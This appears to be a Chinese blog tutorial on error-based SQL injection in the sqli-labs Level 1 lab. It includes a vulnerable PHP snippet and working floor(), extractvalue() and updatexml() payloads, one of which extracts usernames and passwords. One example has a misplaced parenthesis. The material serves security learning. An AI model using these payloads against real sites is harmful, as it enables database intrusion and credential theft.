报错注入(基于sqli-labs第一关)

报错注入原理

构造payload让信息通过错误提示回显出来

应用场景:

  • 查询不回显内容,会打印错误消息
  • update,insert等语句,会打印错误信息  (UNION联合注入不适用于update,insert等语句之后注入)

典型存在报错注入的代码:

if($row)
{
      echo 'Your Login name:'. $row['username'];
else
{
      print_r(mysql_error());
}
报错注入方法:

凡是可以让错误信息显示的函数(语句),都能实现报错注入,这里列举3种:


floor():

select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2));
注:
  1. concat: 连接字符串功能
  2. floor: 取float的整数值(向下取整)
  3. rand: 取0~1之间的随机浮点值
  4. group by: 根据一个或多个列对结果集进行分组并有排序功能
  5. floor(rand(0)*2): 随机产生0或1

sqli-labs第一关:
http://127.0.0.1/Less-1/?id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select version()),0x7e,floor(rand(0)*2)))--+
波浪号之间的就是执行结果

group by 对 rand()函数进行操作时产生错误


extractvalue():

select extractvalue(1,concat(0x7e,(select user()),0x7e));
第一个0x7e只要是非法xpath格式就行
ectractvalue():接受两个参数,第一个XML文档,第二个XPATH语句

xpath语法错误产生报错


updatexml():

select updatexml(1,concat(0x7e,(select user(),0x7e),1);
http://127.0.0.1/Less-1/?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
中间参数是xpath语法

对xpath语法错误产生报错

TIP:

报错注入对返回的数据长度是有限制的,最多有32位,怎么办?
答:用substr对数据进行截取。

http://127.0.0.1/Less-1/?id=1' and (select updatexml(1,concat(0x7e,(select substr(concat(username,0x7e,password),1,6) from users limit 0,1),0x7e),1))--+
返回结果:~Dumb~D~
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • Lua 5.1 参考手册 by Roberto Ierusalimschy, Luiz Henrique de F...
    苏黎九歌阅读 14,341评论 0 38
  • 七情六欲于一心 自古至心者难 纵千焦百感 品酸甜苦辣咸 执欲于一念 或万念之间 倾心痴馋悲来 喜幸谁言不颜 万世皆...
    会飞的馬阅读 500评论 4 8
  • 图:吴伟老师 文:经腧1266 走进夏阳湖, 宛如置身于画卷。 你看, 那一抹红霞是多么的热情奔放, ...
    经腧1266阅读 246评论 0 6
  • 下午孩子他舅舅来了,领着大侄子来玩,晚上没让他们走,孩子们凑一块玩疯了,就连小不点闺女都乐开了花,快十点了才结束饭...
    薇薇冰朵阅读 146评论 0 1
  • 常老师第三集 看了第三集的视频,常老师讲了阳气是人体不可缺的东西,我们可以通过吃一些东西,运动,睡觉等等都可...
    漫步_d0d4阅读 218评论 0 0

友情链接更多精彩内容